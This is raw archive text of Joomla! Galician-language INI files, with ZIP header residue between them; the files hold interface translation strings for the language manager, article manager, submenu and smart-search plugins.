MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Dispor contido" MOD_CUSTOM_XML_DESCRIPTION="Este módulo permite crear seu propio módulo HTML empregando un editor WYSIWYG." PK@y>\*Δ(language/gl-ES/gl-ES.mod_submenu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Submenú da administración" MOD_SUBMENU_XML_DESCRIPTION="Este módulo amosa o submenú da administración." MOD_SUBMENU_LAYOUT_DEFAULT="Predeterminado" PK@y>\s4language/gl-ES/gl-ES.plg_system_languagecode.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="Sistema - Código de idioma" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Fornece a posibilidade de mudar o código de idioma no documento HTML xerado para mellorar no SEO" PK@y>\=e,language/gl-ES/gl-ES.plg_finder_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Busca intelixente - Ligazóns web" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Este engadido indexa as ligazóns web Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Ligazón web" PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Ligazóns web" PK@y>\b88+language/gl-ES/gl-ES.plg_finder_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Busca intelixente - Contido" PLG_FINDER_CONTENT_XML_DESCRIPTION="Este engadido indexa os artigos Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Artigo" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Autor" PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Artigos" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Autores" PK@y>\=Y5Y5&language/gl-ES/gl-ES.com_languages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Xestor de idiomas" COM_LANGUAGES_CONFIGURATION="Opcións do xestor de idiomas" COM_LANGUAGES_ERR_DELETE="Escolla un idioma a borrar" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="Non hai ningún idioma escollido" COM_LANGUAGES_ERR_PUBLISH="Escolla un idioma a publicar" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Insira aquí a descrición para o idioma" COM_LANGUAGES_FIELD_IMAGE_DESC="Prefixo do ficheiro de imaxe para este idioma cando se emprega a opción \"_QQ_\"Usar imaxes de bandeira\"_QQ_\" na opción do selector básico. Exemplo: se 'gl' é escollido, entón a imaxe será gl.gif. As imaxes e CSS para este módulo atópanse en media/mod_languages/" COM_LANGUAGES_FIELD_IMAGE_LABEL="Prefixo de imaxe" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Insira aquí a etiqueta de idioma - exemplo: gl-ES para o Galego. Debe ser o prefixo exacto usado para o idioma instalado ou a ser instalado." COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Etiqueta de idioma" COM_LANGUAGES_INSTALL="Instalar idioma" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL="Para ambas localizacións" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC="Se esta caixa estivera marcada, a substitución gardarase para ambos clientes (portada e administración). Isto é esencial para a creación da substitución para algúns engadidos porque seus ficheiros de idioma, que se almacenan na administración, son usados tamén na portada (por exemplo: plg_content_vote).
              Note que, a substitución será completamente independente unha vez que sexa gardada." COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Localización" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Indica se a substitución é creada para a portada do sitio ou para a administración." COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="Ficheiro" COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="As substitucións de idioma son almacenadas nun ficheiro INI específico (tal como pasa cos textos orixinais). Aquí pode cales e onde están os ficheiros que actualmente están substituíndo aos orixinais." COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Idioma" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Idioma para o cal a constante está a ser sobrescribida." COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Constante de idioma" COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="A constante de idioma da cadea de caracteres que quere substituír
              Cada saída de texto do idioma no seu sitio é identificada por unha constante de idioma específica a cal usa para crear a substitución do texto.
              Se non coñece a constante correspondente pode buscar o texto que quere mudar desde o campo de busca. Premendo sobre o resultado que lle interese a constante correcta será inserida automaticamente no formulario." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Texto" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Pode inserir aquí o texto o cal quere amosar no canto do orixinal.
              Nota: poden existir marcadores reservados no texto, como por exemplo: %s, %d ou %1$s, que se substituirán por outros textos antes de amosarse na pantalla, polo que debería deixalos aí." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Buscar texto" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Insira o texto a buscar aquí. Pode estar en calquera ficheiro de idioma." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Buscar" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Aquí pode seleccionar se quere buscar por nome de constante ou por valor (do texto actual)" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Constante" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Valor" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Se este contido de idioma é publicado ou non. Se se publica, amosarase como unha opción no módulo de selector de idioma no sitio." COM_LANGUAGES_FIELD_LANG_CODE_DESC="Este código de idioma será engadido a URL do sitio. Cando active o SEF, obterá http://mysite.com/gl/. Se SEF está desactivado, o sufixo &lang=gl será engadido ao final do URL. Nota: o código de idioma ten que ser único entre todos os idiomas instalados." COM_LANGUAGES_FIELD_LANG_CODE_LABEL="Código URL de idioma" COM_LANGUAGES_FIELD_SITE_NAME_DESC="Insira aquí un nome personalizado do sitio para este idioma de contido. Se o nome do sitio fose definido para ser amosado, este nome será amosado no canto do que estivera definido na configuración global." COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Nome do sitio personalizado" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Nome do sitio" COM_LANGUAGES_FIELD_TITLE_DESC="O nomo do idioma tal e como aparecerá nas listas" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Título no idioma nativo" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Título nativo" COM_LANGUAGES_FILTER_CLIENT_LABEL="Emprazamento do filtro:" COM_LANGUAGES_FTP_DESC="Para configurar os idiomas predeterminados, Joomla! precisará a información de acceso FTP. Introdúzaa nos campos de abaixo." COM_LANGUAGES_FTP_TITLE="Datos de acceso FTP" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Correo electrónico do autor" COM_LANGUAGES_HEADING_DEFAULT="Predeterminado" COM_LANGUAGES_HEADING_LANG_IMAGE="Prefixo de imaxe" COM_LANGUAGES_HEADING_LANGUAGE="Idioma" COM_LANGUAGES_HEADING_NUM="Núm" COM_LANGUAGES_HEADING_TITLE_NATIVE="Título nativo" COM_LANGUAGES_HOMEPAGE="Inicio" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="Gardouse o idioma predeterminado. Isto non afecta aos usuario que elixiron un idioma específico desde o seu perfil ou desde a páxina de identificación de usuario.
              Aviso! cando se usa a funcionalidade multiidioma (p.ex. cabdi i engadido Sistema - Filtro de idioma está activado) o idioma predeterminado do sitio tamén ten que ser un idioma de publicación de contido." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Algúns dos contactos ligados ao usuario %s son incorrectos." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="Aviso! un usuario/autor debería ter só un contacto o cal sexa asignado ao idioma 'Todos' ou un contacto para cada idioma de publicación de contido" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Idiomas de contido publicados" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="A páxina de inicio predeterminada está asignada ao idioma de contido %s, pero no sitio este idioma non está instalado e/ou o idioma de contido non está publicado." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="Este sitio está configurado como multiidioma. Falta unha ou máis páxinas de inicio para os idiomas de contido publicado e o engadido 'Filtrar idiomas' está activado e/ou hai máis dun módulo 'Selector de idioma' publicado." COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Páxinas de inicio predeterminadas que están publicadas" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 asignada a 'Todos' os idiomas" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Páxinas de inicio predeterminadas que están publicadas (incluíndo a que está asignadas a "Todos" os idiomas)" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Módulos de cambio de idioma que están publicados" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="Este sitio está configurado como multiidioma, polo menos un módulo selector de idioma ten que estar publicado e configurado a "Todos". Non faga caso desta mensaxe se non usa un módulo selector de idioma e emprega ligazóns directas." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Engadido filtro de idioma" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="Este sitio está configurado como multiidioma. O engadido filtro de idioma non está activo mentres que un ou máis módulos selector de idioma e/ou unha ou máis páxinas de inicio específicas de contido de idioma están a ser publicadas." COM_LANGUAGES_MULTILANGSTATUS_NONE="Este sitio non está configurado como multiidioma." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Idiomas do sitio que están publicados" COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="Este sitio non está configurado como multiidioma.
              Nota: polo menos unha páxina predeterminada está asignada a un contido de idioma. Isto non vai crear problemas a un sitio de idioma único máis é inútil." COM_LANGUAGES_N_ITEMS_DELETED="%d idiomas de contidos eliminados con éxito" COM_LANGUAGES_N_ITEMS_DELETED_1="%d idioma de contidos eliminado con éxito" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d idiomas de contidos publicados con éxito" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d idioma de contidos publicado con éxito" COM_LANGUAGES_N_ITEMS_TRASHED="%d idiomas de contidos enviados ao lixo con éxito" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d idioma de contidos enviado ao lixo con éxito" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d idiomas de contidos despublicados con éxito.
              Alerta! Cando emprega a funcionalidade de multi-idioma (p.e. cando está activo o engadido Sistema - Languaguefilter) o idioma predeterminado do sitio tamén ten que ser publicado como idioma de contidos." COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d idioma de contidos despublicado con éxito.
              Alerta! Cando emprega a funcionalidade de multi-idioma (p.e. cando está activo o engadido Sistema - Languaguefilter) o idioma predeterminado do sitio tamén ten que ser publicado como idioma de contidos." COM_LANGUAGES_NO_ITEM_SELECTED="Non hai ningún idioma escollido" COM_LANGUAGES_SAVE_SUCCESS="O idioma de contidos gardouse con éxito" COM_LANGUAGES_SEARCH_IN_TITLE="Buscar no título" COM_LANGUAGES_SUBMENU_CONTENT="Contido" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Instalado - Administración" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Instalado - Sitio" COM_LANGUAGES_SUBMENU_OVERRIDES="Substitucións" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Xestor de idiomas: Idiomas instalados" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Xestor de idiomas: Modificar idioma de contido" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Xestor de idiomas: Novo idioma de contido" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Xestor de idiomas: Idiomas de contido" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Sitio" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administrador" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Xestor de idiomas: modificar substitución (de tradución)" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Crear nova substitución" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Modificar esta substitución" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1$s [%2$s]" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="Máis resultados" COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="Non se atoparon textos que coincidan" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Espere mentres se actualiza a caché" COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Erro ao executar unha solicitude Ajax" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Resultados da busca" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="A substitución de idioma foi gardada con éxito." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Buscar" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Texto de busca que desexa mudar." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="Unha cadea de idioma está composta por dúas partes: unha constante específica de idioma e o seu valor.
              Por exemplo, na cadea:
                   COM_CONTENT_READ_MORE=\"_QQ_\"Ler máis: \"_QQ_\"
              'COM_CONTENT_READ_MORE' esta é a constante e 'Ler máis: ' é o valor.
              Usa a constante especifica de idioma para crear unha substitución do valor.
              Polo tanto, pode buscar a constante ou o valor que quere modificar a traveso do campo de busca.
              Premendo no resultado desexado a constante correcta será inserida automaticamente no formulario." COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Buscar constante ou texto." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Constante" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1$s - %2$s" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d substitucións de idioma foron eliminadas con éxito" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d substitución de idioma foi eliminada con éxito" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="non seleccionou ningunha substitución." COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Texto" COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Xestor de idiomas: substitucións de idioma" COM_LANGUAGES_XML_DESCRIPTION="Compoñente para a xestión de idiomas" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\8355$language/gl-ES/gl-ES.com_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Artigos" COM_CONTENT_ACCESS_DELETE_DESC="Nova opción para borrar accións neste artigo e na configuración calculada baseada na categoría pai e nos permisos de grupo." COM_CONTENT_ACCESS_EDIT_DESC="Nova opción para modificar accións neste artigo e na configuración calculada baseada na categoría pai e nos permisos de grupo." COM_CONTENT_ACCESS_EDITSTATE_DESC="Nova opción para modificar accións de estado neste artigo e na configuración calculada baseada na categoría pai e nos permisos de grupo." COM_CONTENT_ARTICLE_DETAILS="Detalles de artigo" COM_CONTENT_ARTICLES_TITLE="Xestor de artigos: Artigos" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Opcións de artigo" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Opcións de artigo" COM_CONTENT_BATCH_MENU_LABEL="Escoller categoría para mover/copiar" COM_CONTENT_BATCH_OPTIONS="Procesar por lotes os artigos seleccionados" COM_CONTENT_BATCH_TIP="Se escolle copiar un artigo, calquera acción escollida será aplicada ao artigo a copiar. Noutro caso, as accións aplicaranse ao artigo seleccionado. " COM_CONTENT_CHANGE_ARTICLE="Escoller ou mudar o artigo" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Escoller / Mudar" COM_CONTENT_CHOOSE_CATEGORY_DESC="Escoller unha categoría pai" COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="Esta opción aplícase no deseño do artigo a menos que se mude nun elemento de menú específico." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="Esta opción aplícase no deseños de blogue ou destacados a menos que se mude nun elemento de menú específico." COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Deseño blogue/destacados" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="Esta opción aplícase nos axustes das categorías dos artigos a menos que se mude nun elemento de menú específico." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="Esta opción aplícase nos axustes das categorías dos artigos a menos que se mude nun elemento de menú específico." COM_CONTENT_CONFIG_EDITOR_LAYOUT="Estas opcións controlan a presentación do artigo na páxina de edición." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="Esta opción determina como o compoñente artigo hase integrar coas outras extensións." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="Esta opción aplícase nos axustes do deseño de lista a menos que se mude nun elemento de menú específico." COM_CONTENT_CONFIGURATION="Opcións do xestor de artigos" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Categoría predeterminada" COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="Se Si, esta páxina só deixará crear artigos na categoría seleccionada máis abaixo." COM_CONTENT_DRILL_CATEGORIES_LABEL="Lista ou blogue: despois de elixir a pantalla,
              asegúrese de definir as opcións no deseño desexado." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="Seleccione se os elementos deben amosarse no deseño lista ou blogue durante a navegación dunha categoría." COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="Deseño lista ou blogue" COM_CONTENT_EDIT_ARTICLE="Modificar artigo" COM_CONTENT_EDITING_LAYOUT="Disposición da presentación" COM_CONTENT_FEATURED="Artigo destacado" COM_CONTENT_FEATURED_CATEGORIES_DESC="Lista de categorías opcional. Se se selecciona, só se amosarán os artigos destacados das categorías seleccionadas. Use Ctrl+Clic para seleccionar ou deselecionar." COM_CONTENT_FEATURED_CATEGORIES_LABEL="Seleccionar categorías" COM_CONTENT_FEATURED_ORDER="Orde de artigos destacados" COM_CONTENT_FEATURED_TITLE="Xestor de artigos: Artigos destacados" COM_CONTENT_FIELD_ARTICLETEXT_DESC="Insira o contido do artigo no área de texto" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Texto do artigo" COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="Pode inserir aquí un alcume para ser amosado no lugar do nome do usuario que creou o artigo." COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Creado por alcume" COM_CONTENT_FIELD_CREATED_BY_DESC="Pode mudar aquí o nome do usuario que creou o artigo." COM_CONTENT_FIELD_CREATED_BY_LABEL="Creado por" COM_CONTENT_FIELD_CREATED_DESC="Data de creación" COM_CONTENT_FIELD_CREATED_LABEL="Data de creación" COM_CONTENT_FIELD_FEATURED_DESC="Asignar o artigo destacado na presentación de blogue" COM_CONTENT_FIELD_FULL_DESC="Imaxe para amosar un único artigo" COM_CONTENT_FIELD_FULL_LABEL="Imaxe para o artigo completo" COM_CONTENT_FIELD_HITS_DESC="Número de accesos a este artigo" COM_CONTENT_FIELD_IMAGE_DESC="Imaxe para ser amosada" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Texto alternativo usado para os visitantes sen acceso ás imaches. Substituido co texto do título se está presente." COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Texto alternativo" COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Título engadido para a imaxe" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Lenda" COM_CONTENT_FIELD_INTRO_DESC="Imaxe para o texto introdutorio para presentacións tales como as de tipo blogue e destacados" COM_CONTENT_FIELD_INTRO_LABEL="Imaxe de introdución" COM_CONTENT_FIELD_LANGUAGE_DESC="O idioma que ten asignado o artigo." COM_CONTENT_FIELD_MODIFIED_DESC="A data e hora na que o artigo foi modificado por última vez." COM_CONTENT_FIELD_OPTION_ABOVE="Enriba" COM_CONTENT_FIELD_OPTION_BELOW="Embaixo" COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="Unha data opcional para finalizar a publicación do artigo." COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Fin da publicación" COM_CONTENT_FIELD_PUBLISH_UP_DESC="Unha data opcional para comezar a publicación do artigo." COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Comezo da publicación" COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Escolla o artigo desexado da lista." COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Escolla o artigo" COM_CONTENT_FIELD_URL_DESC="A ligazón actual á que serán dirixidos os usuarios. Ten que ser un URL completo, incluíndo http: ou outro protocolo (por exemplo http://joomla.org)" COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Texto a amosar para a ligazón" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Texto da ligazón" COM_CONTENT_FIELD_URLA_LABEL="Ligazón A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Texto da ligazón A" COM_CONTENT_FIELD_URLB_LABEL="Ligazón B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Texto para a ligazón B" COM_CONTENT_FIELD_URLC_LABEL="Ligazón C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Texto para a ligazón C" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Posicionamento das ligazóns" COM_CONTENT_FIELD_URLSPOSITION_DESC="Amosar as ligazóns enriba ou embaixo do contido" COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Usar opcións do artigo" COM_CONTENT_FIELD_VERSION_DESC="Unha conta do número de veces que o artigo foi visitado." COM_CONTENT_FIELD_VERSION_LABEL="Revisión" COM_CONTENT_FIELD_XREFERENCE_DESC="Unha referencia opcional empregada para ligar a fontes de datos externos." COM_CONTENT_FIELD_XREFERENCE_LABEL="Referencia externa." COM_CONTENT_FIELDSET_PUBLISHING="Opcións de publicación" COM_CONTENT_FIELDSET_RULES="Permisos de artigo" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Imaxes e ligazóns" COM_CONTENT_FILTER_SEARCH_DESC="Buscar título ou alcume. Prefixo con ID: para buscar un ID de artigo." COM_CONTENT_FLOAT_DESC="Controla a posición da imaxe" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Texto completo da imaxe" COM_CONTENT_FLOAT_LABEL="Posición da imaxe" COM_CONTENT_FLOAT_INTRO_LABEL="Texto de introdución da imaxe" COM_CONTENT_ID_LABEL="ID" COM_CONTENT_LEFT="Esquerda" COM_CONTENT_MONTH="Mes" COM_CONTENT_N_ITEMS_ARCHIVED="%s artigos arquivados." COM_CONTENT_N_ITEMS_ARCHIVED_1="%s artigos arquivados." COM_CONTENT_N_ITEMS_CHECKED_IN_0="Ningún artigo comprobado con éxito" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%s artigo comprobado con éxito" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%s artigos comprobados con éxito" COM_CONTENT_N_ITEMS_DELETED="%s artigos borrados." COM_CONTENT_N_ITEMS_DELETED_1="%s artigo borrado." COM_CONTENT_N_ITEMS_PUBLISHED="%s artigos publicados." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s artigo publicado." COM_CONTENT_N_ITEMS_TRASHED="%s artigos enviados ao lixo." COM_CONTENT_N_ITEMS_TRASHED_1="%s artigo enviado ao lixo." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s artigos despublicados." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s artigo despublicado." COM_CONTENT_NEW_ARTICLE="Novo artigo" COM_CONTENT_NO_ARTICLES_DESC="Amosar/Agochar a mensaxe 'Non hai artigos nesta categoría' cando a categoría non contén elementos." COM_CONTENT_NO_ARTICLES_LABEL="Non hai mensaxes de artigos" COM_CONTENT_NONE="Ningún" COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="Amosar/Agochar o número de artigos na categoría." COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="Número de artigos na categoría" COM_CONTENT_PAGE_ADD_ARTICLE="Xestor de Artigos: Engadir novo artigo" COM_CONTENT_PAGE_EDIT_ARTICLE="Xestor de artigos: Modificar artigo" COM_CONTENT_PAGE_VIEW_ARTICLE="Xestor de artigos: Ver artigo" COM_CONTENT_PAGEBREAK_DOC_TITLE="Salto de páxina" COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Inserir salto de páxina" COM_CONTENT_PAGEBREAK_TITLE="Título da páxina:" COM_CONTENT_PAGEBREAK_TOC="Alcume da táboa de contidos:" COM_CONTENT_RIGHT="Dereita" COM_CONTENT_SAVE_SUCCESS="O artigo gardouse con éxito" COM_CONTENT_SELECT_AN_ARTICLE="Escoller un artigo" COM_CONTENT_SHARED_DESC="Esta configuración aplícase nas opcións compartidas de tipo lista, blogue e elementos destacados, sempre e cando non sexan mudados desde a configuración do menú." COM_CONTENT_SHARED_LABEL="Opcións compartidas" COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Amosar/Agochar o panel deslizante das opcións do artigo no modo crear/modificar do artigo. Estas opcións superpoñen as opcións globais." COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Amosar as opcións do artigo" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="Amosar/Agochar as categorías baleiras. Unha categoría está baleira se non ten contactos nin subcategorías." COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Amosar/Agochar campos para inserir imaxes estandarizadas e ligazóns na administración." COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Administrador de imaxes e ligazóns" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Amosar/agochar campos para inserir imaxes estandarizadas e ligazóns ao editar na portada." COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Imaxes e ligazóns na portada" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Amosar/Agochar as opcións deslizantes de publicación na vista edición do artigo. Estas opcións permiten cambiar as datas ou a identidade dos autores." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Amosar as opcións de publicación" COM_CONTENT_SLIDER_EDITOR_CONFIG="Configurar a pantalla creación/modificación" COM_CONTENT_SUBMENU_CATEGORIES="Categorías" COM_CONTENT_SUBMENU_FEATURED="Artigos destacados" COM_CONTENT_TOGGLE_TO_FEATURE="Conmutador para mudar o estado de artigo a 'Destacado'" COM_CONTENT_TOGGLE_TO_UNFEATURE="Conmutador para mudar o estado do artigo a 'non destacado'" COM_CONTENT_UNFEATURED="Retirar do destaque" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="Xanela URL de destino" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Xanela destino do navegador cando se preme sobre un elemento do menú." COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="Xanela URL A de destino" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="Xanela URL B de destino" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="Xanela URL C de destino" COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Insira un título válido, non deixar en branco." COM_CONTENT_XML_DESCRIPTION="Compoñente de xestión de artigos" JGLOBAL_NO_ITEM_SELECTED="Non hai artigos seleccionados" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Non ten permitido crear novos artigos nesta categoría." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Non ten permiso para modificar un ou máis de estes artigos." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
